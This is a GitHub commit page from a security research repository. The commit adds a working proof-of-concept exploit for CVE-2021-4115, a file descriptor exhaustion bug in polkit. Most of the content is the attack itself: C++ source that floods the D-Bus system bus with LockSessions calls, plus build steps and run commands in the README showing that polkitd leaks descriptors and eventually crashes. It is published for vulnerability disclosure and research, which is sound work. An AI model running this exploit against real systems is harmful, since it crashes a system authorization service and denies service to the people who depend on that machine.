forked from github/securitylab
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
PoC for file descriptor exhaustion in polkit (CVE-2021-4115)
- Loading branch information
1 parent
677baf7
commit 5620d91
Showing
6 changed files
with
179 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 change: 1 addition & 0 deletions
1
SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
build |
30 changes: 30 additions & 0 deletions
30
SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
cmake_minimum_required(VERSION 3.10) | ||
|
||
enable_testing() | ||
|
||
# set the project name | ||
project(CVE-2021-4115-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for CVE-2021-4115: file descriptor exhaustion in polkit") | ||
|
||
# specify the C++ standard | ||
set(CMAKE_CXX_STANDARD 17) | ||
set(CMAKE_CXX_STANDARD_REQUIRED True) | ||
|
||
option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) | ||
|
||
add_compile_options(-Wall -Wextra -pedantic -Werror) | ||
|
||
if (USE_SANITIZERS) | ||
set(SANITIZER_FLAGS "-fsanitize=address,undefined") | ||
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") | ||
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") | ||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") | ||
set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") | ||
endif() | ||
|
||
add_subdirectory(DBusParse) | ||
|
||
add_executable(locksessions locksessions.cpp) | ||
target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt) | ||
target_include_directories( | ||
locksessions PRIVATE | ||
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>) |
1 change: 1 addition & 0 deletions
1
SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
51 changes: 51 additions & 0 deletions
51
SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
# CVE-2021-4115 (GHSL-2021-077) | ||
|
||
This repository contains a proof of concept exploit for | ||
[CVE-2021-4115](https://gitlab.freedesktop.org/polkit/polkit/-/issues/141): | ||
file descriptor exhaustion in | ||
[polkit](https://gitlab.freedesktop.org/polkit/polkit). | ||
|
||
# Build | ||
|
||
Instructions for building the PoC: | ||
|
||
```bash | ||
git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse | ||
mkdir build | ||
cd build | ||
cmake .. | ||
make | ||
``` | ||
|
||
# Running | ||
|
||
The PoC causes polkit to leak eventfd file descriptors. After several runs | ||
of the PoC, polkit will leak so many file descriptors that it will crash | ||
due to exceeding its quota of file descriptors. | ||
|
||
First, check how many file descriptors polkit has open: | ||
|
||
```bash | ||
$ sudo ls -l /proc/`pidof polkitd`/fd | wc | ||
12 123 680 | ||
``` | ||
|
||
Now run the PoC: | ||
|
||
```bash | ||
./locksessions /var/run/dbus/system_bus_socket 0x4000 | ||
``` | ||
|
||
(The PoC is named locksessions because it calls the | ||
org.freedesktop.login1.Manager.LockSessions D-Bus method.) | ||
|
||
Now check again how many file descriptors polkit has open: | ||
|
||
``` | ||
$ sudo ls -l /proc/`pidof polkitd`/fd | wc | ||
255 2796 16872 | ||
``` | ||
|
||
Notice that a large number of eventfd file descriptors have been | ||
leaked. After few more runs of the PoC, polkit will most likely | ||
crash. |
93 changes: 93 additions & 0 deletions
93
SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
#include "dbus_utils.hpp" | ||
#include "dbus_auth.hpp" | ||
#include "utils.hpp" | ||
#include <sys/socket.h> | ||
#include <sys/un.h> | ||
#include <unistd.h> | ||
|
||
class DBusSocket : public AutoCloseFD { | ||
public: | ||
DBusSocket(const uid_t uid, const char* filename) : | ||
AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) | ||
{ | ||
if (get() < 0) { | ||
throw ErrorWithErrno("Could not create socket"); | ||
} | ||
|
||
sockaddr_un address; | ||
memset(&address, 0, sizeof(address)); | ||
address.sun_family = AF_UNIX; | ||
strcpy(address.sun_path, filename); | ||
|
||
if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { | ||
throw ErrorWithErrno("Could not connect socket"); | ||
} | ||
|
||
dbus_sendauth(uid, get()); | ||
|
||
dbus_send_hello(get()); | ||
std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get()); | ||
std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); | ||
std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get()); | ||
} | ||
}; | ||
|
||
static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) { | ||
dbus_method_call( | ||
fd, | ||
serialNumber, | ||
DBusMessageBody::mk0(), | ||
_s("/org/freedesktop/login1"), | ||
_s("org.freedesktop.login1.Manager"), | ||
_s("org.freedesktop.login1"), | ||
_s("LockSessions") | ||
); | ||
} | ||
|
||
// Keep trying `attempt_LockSessions_with_disconnect` with different | ||
// delay values until the exploit succeeds (or we decide to give up). | ||
static void exploit_LockSessions( | ||
const uid_t uid, | ||
const char* filename, | ||
const long n | ||
) { | ||
DBusSocket fd(uid, filename); | ||
|
||
for (long i = 0; i < n; i++) { | ||
send_logind_LockSessions(fd.get(), i+1); | ||
} | ||
} | ||
|
||
static void usage(const char* progname) { | ||
fprintf( | ||
stderr, | ||
"usage: %s <unix socket path> <number of messages to send>\n" | ||
"example: %s /var/run/dbus/system_bus_socket 4096\n", | ||
progname, | ||
progname | ||
); | ||
} | ||
|
||
int main(int argc, char* argv[]) { | ||
const char* progname = argc > 0 ? argv[0] : "a.out"; | ||
if (argc != 3) { | ||
usage(progname); | ||
return EXIT_FAILURE; | ||
} | ||
|
||
char* endptr = 0; | ||
const long n = strtol(argv[2], &endptr, 0); | ||
if (endptr == argv[2] || *endptr != '\0') { | ||
usage(progname); | ||
return EXIT_FAILURE; | ||
} | ||
|
||
const uid_t uid = getuid(); | ||
const char* filename = argv[1]; | ||
|
||
for (size_t i = 0; i < 1; i++) { | ||
exploit_LockSessions(uid, filename, n); | ||
} | ||
|
||
return EXIT_SUCCESS; | ||
} |